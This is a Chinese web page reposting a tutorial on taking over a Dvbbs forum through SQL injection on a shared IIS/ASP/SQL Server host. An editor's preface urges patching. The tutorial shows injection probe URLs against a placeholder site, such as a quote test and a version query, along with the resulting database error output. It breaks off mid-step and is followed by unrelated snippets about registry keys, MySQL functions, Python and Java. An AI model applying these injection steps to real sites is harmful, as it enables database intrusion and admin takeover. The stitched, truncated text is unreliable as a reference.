SQL注入入侵动网SQL
编辑前言:这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞。说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据库结构,和程序运作方法。在一步步的攻击中取得管理权限,再一步步的提升权限,如果正好数据库用的是SA帐号,就更是麻烦了。
正是由于这些条件的假设,所以大家也不用太紧张,这里提供的是很多理想状态下的入侵行为,在编程中减少安全漏洞是我们每个程序员要注意的。而站长在组合使用多个程序的时候,也要注意安全和程序的完整性。
在我所了解的多个动网7.0+sp2 的版本也有2-3次被黑现象,所以大家还要及时注意升级,详细进行权限设置。并不是说动网不好,而是说他程序的开放性,用的人很多,找出来的BUG会很多,软件学里说了,用的越多,BUG会越多。相对来说,我喜欢自己定制化开发的程序,相对来说会安全一些。
下面是六中男孩的正文
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
一、 首先确定目标。假设以下URL存在SQL注入:
http://www.xxx.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.xxx.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
继续,先探测一下系统版本:
http://www.xxx.com/type.asp?id=(select @@version)--
返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。
取得当前连接数据库用户:
http://www.xxx.com/type.asp?id=(select user
相关文档:
在进行操作之前,建议备份好注册表以及重要的数据库文件。
(1) 删除以下注册表子项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Microsoft SQL Server
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentC ......
MySQL中文参考手册- 7 MySQL 语言参考
<!--
body { font-size: 9pt; }
a:hover{color:red;}
a.t1:visited{color:red;}
-->
DATABASE()
返回当前的数据库名字。
mysql> select DATABASE();
-> 'test'
如果没有当前的数据库,DATABASE()
返回空字符串。
USER()
SYSTEM_USER()
......
今天试验使用python连接 sql server 服务器。我记得以前使用ado连接access非常顺利,但是今天使用ado连接sql server竟然不成功。在python里面的出错信息都显示为转移序列,费了半天劲才搞明白:无效的类别字符串。
是连接字符串吗?测试了好几个 确认无误的数据库连接字符串,也是如此 。上网搜索,是有可能是 com的类别字 ......
1:replace 函数
第一个参数你的字符串,第二个参数你想替换的部分,第三个参数你要替换成什么
select replace('lihan','a','b')
&nb ......
detachedCriteria.add(Restrictions.or(
Restrictions.like("chengBanDanWeiIds", rForm.getChengBanDanWeiIds()+(char)13, MatchMode.START),
Restrictions.or(
&n ......